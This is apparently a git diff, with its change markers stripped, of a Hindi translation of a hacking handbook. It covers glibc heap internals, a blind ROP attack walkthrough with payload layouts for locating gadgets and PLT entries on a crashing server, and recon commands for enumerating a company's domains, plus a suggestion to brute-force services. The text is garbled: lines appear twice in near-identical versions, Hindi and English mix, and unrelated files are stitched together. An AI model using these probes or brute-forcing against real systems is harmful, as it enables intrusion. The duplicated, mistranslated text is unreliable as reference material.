* जब हीप प्रबंधक एक सबहीप बनाता है, तो यह `mmap` के माध्यम से मेमोरी का एक बड़ा ब्लॉक आरक्षित करता है। यह आरक्षण तुरंत मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसका उपयोग अन्य सिस्टम प्रक्रियाओं या आवंटनों को नहीं करना चाहिए।
* डिफ़ॉल्ट रूप से, एक सबहीप के लिए आरक्षित आकार 32-बिट प्रक्रियाओं के लिए 1 MB और 64-बिट प्रक्रियाओं के लिए 64 MB है।
3. **`mprotect` के साथ क्रमिक विस्तार**:
* आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह दर्शाता है कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है।
* आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह संकेत करते हुए कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है।
* सबहीप को "बढ़ाने" के लिए, हीप प्रबंधक `mprotect` का उपयोग करके पृष्ठ अनुमतियों को `PROT_NONE` से `PROT_READ | PROT_WRITE` में बदलता है, जिससे कर्नेल को पहले से आरक्षित पते पर भौतिक मेमोरी आवंटित करने के लिए प्रेरित किया जाता है। यह चरण-दर-चरण दृष्टिकोण सबहीप को आवश्यकतानुसार बढ़ने की अनुमति देता है।
* एक बार जब पूरा सबहीप समाप्त हो जाता है, तो हीप प्रबंधक एक नया सबहीप बनाता है ताकि आवंटन जारी रह सके।
### heap\_info <a href="#heap_info" id="heap_info"></a>
यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी स्टोर करेगी।
यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी संग्रहीत करेगी।
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -86,7 +86,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` में **पहले और अंतिम चंक** के लिए **पॉइंटर्स** होते हैं जो छोटे, बड़े और असंरचित **बिन्स** के होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता)
* `mchunkptr bins[NBINS * 2 - 2];` में **पॉइंटर्स** होते हैं **छोटे, बड़े और असंरचित **bins** के पहले और अंतिम चंक्स** के लिए (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता)
* इसलिए, इन बिन्स का **पहला चंक** इस संरचना के लिए एक **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए एक **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप **मुख्य एरेना में इन पते को लीक कर सकते हैं** तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा।
* संरचनाएँ `struct malloc_state *next;` और `struct malloc_state *next_free;` एरेनास के लिंक्ड लिस्ट हैं
* `top` चंक अंतिम "चंक" है, जो मूल रूप से **सभी हीप शेष स्थान** है। एक बार जब शीर्ष चंक "खाली" हो जाता है, तो हीप पूरी तरह से उपयोग किया जाता है और इसे अधिक स्थान का अनुरोध करने की आवश्यकता होती है।
@ -165,7 +165,7 @@ typedef struct malloc_chunk* mchunkptr;
* `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है
* `P`: यदि 1 है, तो पिछले चंक का उपयोग हो रहा है
फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछले चंक का आकार क्या है (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)।
फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछले चंक का आकार (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)।
इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है:
@ -294,7 +294,7 @@ the chunk to the user, if necessary. */
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
* आकार और अन्य टुकड़ों के लिए पॉइंटर्स
* अन्य चंक्स के लिए आकार और पॉइंटर्स
```c
/*
Bits to mask off when extracting size
@ -327,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* इनस्यू बिट
* इन्श्योर बिट
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -351,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* हेड और फटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो)
* हेड और फटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -470,11 +470,11 @@ return 0;
पिछले उदाहरण को डिबग करते समय यह देखा जा सकता है कि शुरुआत में केवल 1 एरेना है:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरेना बनाया जाता है:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
और इसके अंदर कुछ चंक्स पाए जा सकते हैं:

View file

@ -20,7 +20,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
इस हमले का लक्ष्य है **बिना किसी जानकारी के ROP का दुरुपयोग करना**।\
यह हमला निम्नलिखित परिदृश्य पर आधारित है:
* एक स्टैक भेद्यता और इसे सक्रिय करने का ज्ञान।
* एक स्टैक भेद्यता और इसे ट्रिगर करने का ज्ञान।
* एक सर्वर एप्लिकेशन जो क्रैश के बाद पुनः प्रारंभ होता है।
## Attack
@ -31,17 +31,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### **3. स्टोर किए गए RBP और RIP** पते का ब्रूट-फोर्स करना
आप इन प्रक्रियाओं के बारे में अधिक जानकारी [यहा (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) और [यहा (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) पा सकते हैं।
आप इन प्रक्रियाओं के बारे में अधिक जानकारी [यहा (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) और [यहा (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) पा सकते हैं।
### **4. स्टॉप गैजेट खोजें**
यह गैजेट मूल रूप से यह पुष्टि करने की अनुमति देता है कि ROP गैजेट द्वारा कुछ दिलचस्प निष्पादित किया गया था क्योंकि निष्पादन क्रैश नहीं हुआ। आमतौर पर, यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकता है** और यह ROP श्रृंखला के अंत में स्थित होता है जब किसी विशिष्ट ROP गैजेट के निष्पादन की पुष्टि करने के लिए ROP गैजेट्स की खोज की जाती है।
यह गैजेट मूल रूप से यह पुष्टि करने की अनुमति देता है कि ROP गैजेट द्वारा कुछ दिलचस्प निष्पादित किया गया था क्योंकि निष्पादन क्रैश नहीं हुआ। आमतौर पर, यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकता है** और यह ROP श्रृंखला के अंत में स्थित होता है जब क विशिष्ट ROP गैजेट के निष्पादन की पुष्टि करने के लिए ROP गैजेट्स की खोज की जाती है।
### **5. BROP गैजेट खोजें**
यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और इसका कारण यह है कि यदि आप कुछ निर्देशों के बीच में इस गैजेट तक पहुचते हैं तो आपको **`rsi`** और **`rdi`** को नियंत्रित करने के लिए गैजेट मिलते हैं:
यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और इसका कारण यह है कि यदि आप कुछ निर्देशों के बीच में इस गैजेट तक पहुचते हैं तो आपको **`rsi`** और **`rdi`** को नियंत्रित करने के लिए गैजेट मिलते हैं:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
ये गैजेट होंगे:
@ -54,19 +54,19 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
यदि **STOP निष्पादित होता है**, तो इसका अर्थ है कि **एक पता जो स्टैक से 6 रजिस्टर को पॉप कर रहा है** का उपयोग किया गया था। या कि उपयोग किया गया पता भी एक STOP पता था।
यदि **STOP निष्पादित होता है**, तो इसका अर्थ है कि **एक पता जो स्टैक से 6 रजिस्टर को पॉप कर रहा था** का उपयोग किया गया था। या कि उपयोग किया गया पता भी एक STOP पता था।
इस अंतिम विकल्प को **हटाने के लिए** एक नई श्रृंखला जैसे निम्नलिखित निष्पादित की जाती है और इसे STOP गैजेट को निष्पादित नहीं करना चाहिए ताकि यह पुष्टि हो सके कि पिछले ने 6 रजिस्टर को पॉप किया था:
`'A' * offset + canary + rbp + ADDR`
ret2csu गैजेट के पते को जानकर, यह संभव है कि **`rsi` और `rdi` को नियंत्रित करने के लिए गैजेट्स के पते का अनुमान लगाया जा**।
ret2csu गैजेट के पते को जानकर, यह संभव है कि **`rsi` और `rdi` को नियंत्रित करने के लिए गैजेट्स के पते का अनुमान लगाया जा सके**।
### 6. PLT खोजें
PLT तालिका को 0x400000 से या स्टैक से **लीक किए गए RIP पते** से खोजा जा सकता है (यदि **PIE** का उपयोग किया जा रहा है)। तालिका के **प्रविष्टियाँ** **16B** (0x10B) द्वारा **अलग** होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तर्क सही न हों। इसके अलावा, एक प्रविष्टि के पते की जाच करना **PLT + 6B भी क्रैश नहीं होता** क्योंकि यह पहला कोड है जो निष्पादित होता है।
PLT तालिका को 0x400000 से या स्टैक से **लीक किए गए RIP पते** से खोजा जा सकता है (यदि **PIE** का उपयोग किया जा रहा है)। तालिका के **प्रविष्टियाँ** **16B** (0x10B) द्वारा **अलग** होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तर्क सही न हों। इसके अलावा, एक प्रविष्टि के पते की जाच करना **PLT + 6B भी क्रैश नहीं होता** क्योंकि यह पहला कोड है जो निष्पादित होता है।
इसलिए, निम्नलिखित व्यवहारों की जाच करके PLT तालिका को खोजना संभव है:
इसलिए, निम्नलिखित व्यवहारों की जाच करके PLT तालिका को खोजना संभव है:
* `'A' * offset + canary + rbp + ADDR + STOP` -> कोई क्रैश नहीं
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> कोई क्रैश नहीं
@ -76,14 +76,14 @@ PLT तालिका को 0x400000 से या स्टैक से **
**`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई पर सेट करता है। ध्यान दें कि **`rdx`** **तीसरा तर्क** है और हमें इसे **0 से बड़ा** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक किया जा सके।
हम **`strcmp`** के स्थान को PLT में इसके व्यवहार के आधार पर खोज सकते हैं यह तथ्य का उपयोग करते हुए कि हम अब फ़ंक्शनों के 2 पहले तर्कों को नियंत्रित कर सकते हैं:
यह संभव है कि **`strcmp`** के स्थान को PLT में इसके व्यवहार के आधार पर खोजा जाए, यह देखते हुए कि हम अब फ़ंक्शनों के 2 पहले तर्कों को नियंत्रित कर सकते हैं:
* strcmp(\<non read addr>, \<non read addr>) -> क्रैश
* strcmp(\<non read addr>, \<read addr>) -> क्रैश
* strcmp(\<read addr>, \<non read addr>) -> क्रैश
* strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं
इसकी जांच करने के लिए PLT तालिका के प्रत्येक प्रविष्टि को कॉल करके या **PLT धीमी पथ** का उपयोग करके किया जा सकता है जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने** पर आधरित है + 0xb (जो **`dlresolve`** को कॉल करता है) और स्टैक में **प्रविष्टि संख्या जिसे जांचना है** (शून्य से शुरू) को स्कैन करने के लिए:
इसकी जाँच करने के लिए PLT तालिका की प्रत्येक प्रविष्टि को कॉल करके या **PLT धीमी पथ** का उपयोग करके किया जा सकता है, जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करना + 0xb** (जो **`dlresolve`** को कॉल करता है) है, इसके बाद स्टैक में **प्रविष्टि संख्या जिसे आप जांचना चाहते हैं** (शून्य से शुरू) होती है ताकि पहले से सभी PLT प्रविष्टियों को स्कैन किया जा सके:
* strcmp(\<non read addr>, \<read addr>) -> क्रैश
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> क्रैश होगा
@ -114,13 +114,13 @@ PLT तालिका को 0x400000 से या स्टैक से **
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए चलिए इसके बारे में बात कर हैं:
हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए आइए इसके बारे में बात करें:
वर्तमान समस्या यह है कि हमें नहीं पता **write फ़ंक्शन PLT के अंदर कहाँ है** और हमें नहीं पता **डेटा को हमारे सॉकेट पर भेजने के लिए fd संख्या**
हालांकि, हम जानते हैं **PLT तालिका कहाँ है** और इसके **व्यवहार** के आधार पर write को खोजना संभव है। और हम सर्वर के साथ **कई कनेक्शन** बना सकते हैं और एक **उच्च FD** का उपयोग कर सकते हैं यह उम्मीद करते हुए कि यह हमारे कुछ कनेक्शनों से मेल खाता है।
न फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर:
न फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो puts मिला
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो dprintf मिला

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Assets discoveries
> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
> तो आपको बताया गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** को प्राप्त करना है और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
इस चरण का लक्ष्य मुख्य कंपनी द्वारा स्वामित्व वाली सभी **कंपनियों** और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी।
2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे।
@ -35,18 +35,18 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
### **Acquisitions**
सबसे पहले, हमें यह जानने की आवश्यकता है कि **मुख्य कंपनी द्वारा स्वामित्व वाली अन्य कंपनियाँ कौन सी हैं**।\
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोजें**, और "**अधिग्रहण**" पर **क्लिक** करें। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
एक विकल्प है [https://www.crunchbase.com/](https://www.crunchbase.com) पर जाना, **मुख्य कंपनी** के लिए **खोज** करना, और "**अधिग्रहण**" पर **क्लिक** करना। वहाँ आप मुख्य कंपनी द्वारा अधिग्रहित अन्य कंपनियाँ देखेंगे।\
दूसरा विकल्प है मुख्य कंपनी के **विकिपीडिया** पृष्ठ पर जाना और **अधिग्रहण** के लिए खोज करना।
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए हम उनकी संपत्तियों को खोजने का तरीका समझते हैं।
> ठीक है, इस बिंदु पर आपको दायरे के भीतर सभी कंपनियों के बारे में पता होना चाहिए। चलिए उनके संपत्तियों को खोजने का तरीका समझते हैं।
### **ASNs**
एक स्वायत्त प्रणाली संख्या (**ASN**) एक **विशिष्ट संख्या** है जो **इंटरनेट असाइन नंबर प्राधिकरण (IANA)** द्वारा एक **स्वायत्त प्रणाली** (AS) को असाइन की जाती है।\
एक **AS** में **IP पते** के **ब्लॉक** होते हैं जिनकी बाहरी नेटवर्क तक पहुँचने के लिए स्पष्ट रूप से परिभाषित नीति होती है और इसे एक ही संगठन द्वारा प्रशासित किया जाता है लेकिन यह कई ऑपरेटरों से मिलकर बन सकता है।
यह जानना दिलचस्प है कि क्या **कंपनी ने किसी ASN को असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करने और इन IPs के भीतर **डोमेन** की खोज करने के लिए दिलचस्प होगा।\
आप [**https://bgp.he.net/**](https://bgp.he.net)** पर कंपनी के **नाम**, **IP** या **डोमेन** द्वारा **खोज** कर सकते हैं।\
यह जानना दिलचस्प है कि क्या **कंपनी ने कोई ASN असाइन किया है** ताकि इसके **IP रेंज** को खोजा जा सके। यह **दायरे** के भीतर सभी **होस्ट** के खिलाफ **कमजोरी परीक्षण** करना और इन IPs के भीतर **डोमेन** की खोज करना दिलचस्प होगा।\
आप **कंपनी के नाम**, **IP** या **डोमेन** द्वारा [**https://bgp.he.net/**](https://bgp.he.net)** पर खोज सकते हैं।**\
**कंपनी के क्षेत्र के आधार पर ये लिंक अधिक डेटा इकट्ठा करने के लिए उपयोगी हो सकते हैं:** [**AFRINIC**](https://www.afrinic.net) **(अफ्रीका),** [**Arin**](https://www.arin.net/about/welcome/region/)**(उत्तरी अमेरिका),** [**APNIC**](https://www.apnic.net) **(एशिया),** [**LACNIC**](https://www.lacnic.net) **(लैटिन अमेरिका),** [**RIPE NCC**](https://www.ripe.net) **(यूरोप)। वैसे, शायद सभी** उपयोगी जानकारी **(IP रेंज और Whois)** पहले लिंक में पहले से ही दिखाई देती है।
```bash
#You can try "automate" this with amass, but it's not very recommended
@ -76,8 +76,8 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **कमजोरियों की तलाश**
इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **या** shodan **जैसी सेवाओं का उपयोग करके** खुले पोर्ट **खोज सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करें।\
**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।**
इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/#discovering-hosts-from-the-outside) **या** shodan **जैसी सेवाओं का उपयोग करके** खुले पोर्ट **खोज सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का परीक्षण करना है।\
**इसके अलावा, यह उल्लेख करना भी फायदेमंद हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।**
## डोमेन
@ -97,12 +97,12 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
For this to work, the administrator has to enable manually the PTR.\
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
आप इस जानकारी के लिए एक ऑनलाइन टूल का भी उपयोग कर सकते हैं: [http://ptrarchive.com/](http://ptrarchive.com)
### **Reverse Whois (loop)**
Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
You can use online tools like:
आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free**
@ -113,14 +113,14 @@ You can use online tools like:
* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
आप कुछ स्वचालित रिवर्स Whois खोज भी कर सकते हैं [amass](https://github.com/OWASP/Amass) के साथ: `amass intel -d tesla.com -whois`
**Note that you can use this technique to discover more domain names every time you find a new domain.**
### **Trackers**
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
उदाहरण के लिए, यदि आप कई पृष्ठों पर वही **Google Analytics ID** या वही **Adsense ID** देखते हैं।
There are some pages and tools that let you search by these trackers and more:
@ -132,7 +132,7 @@ There are some pages and tools that let you search by these trackers and more:
### **Favicon**
क्या आप जानते हैं कि हम अपने लक्ष्य से संबंधित डोमेन और उप डोमेन को समान favicon आइकन हैश की तलाश करके खोज सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) उपकरण [@m4ll0k2](https://twitter.com/m4ll0k2) द्वारा बनाया गया है। इसका उपयोग कैसे करें:
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Heres how to use it:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -160,7 +160,7 @@ return fhash
```
### **Copyright / Uniq string**
वेब पृष्ठों के अंदर **ऐसे स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"`
वेब पृष्ठों के अंदर **स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकती हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -275,9 +275,9 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
There are **अन्य दिलचस्प उपकरण/एपीआई** जो सीधे उपडोमेन खोजने में विशेषज्ञ नहीं हैं, लेकिन उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे:
There are **अन्य दिलचस्प उपकरण/APIs** जो सीधे तौर पर उपडोमेन खोजने में विशेषज्ञ नहीं हैं, लेकिन उपडोमेन खोजने में उपयोगी हो सकते हैं, जैसे:
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** उपडोमेन प्राप्त करने के लिए एपीआई [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करता है
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) का उपयोग करके उपडोमेन प्राप्त करता है
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -307,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
* [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs को लाता है।
* [**gau**](https://github.com/lc/gau)**:** किसी भी दिए गए डोमेन के लिए AlienVault के Open Threat Exchange, Wayback Machine, और Common Crawl से ज्ञात URLs लाता है।
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **और** [**subscraper**](https://github.com/Cillian-Collins/subscraper): ये वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से उपडोमेन निकालते हैं।
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): ये वेब को स्क्रैप करते हैं, JS फ़ाइलों की तलाश करते हैं और वहां से सबडोमेन निकालते हैं।
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@ -337,10 +337,10 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और IP इतिहास के लिए एक मुफ्त API है
* [**securitytrails.com**](https://securitytrails.com/) में उपडोमेन और आईपी इतिहास खोजने के लिए एक मुफ्त API है
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
यह प्रोजेक्ट **बग-बाउंटी कार्यक्रमों से संबंधित सभी उपडोमेन मुफ्त में प्रदान करता है**। आप इस डेटा को [chaospy](https://github.com/dr-0x0x/chaospy) का उपयोग करके भी एक्सेस कर सकते हैं या इस प्रोजेक्ट द्वारा उपयोग किए गए दायरे को भी एक्सेस कर सकते हैं [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
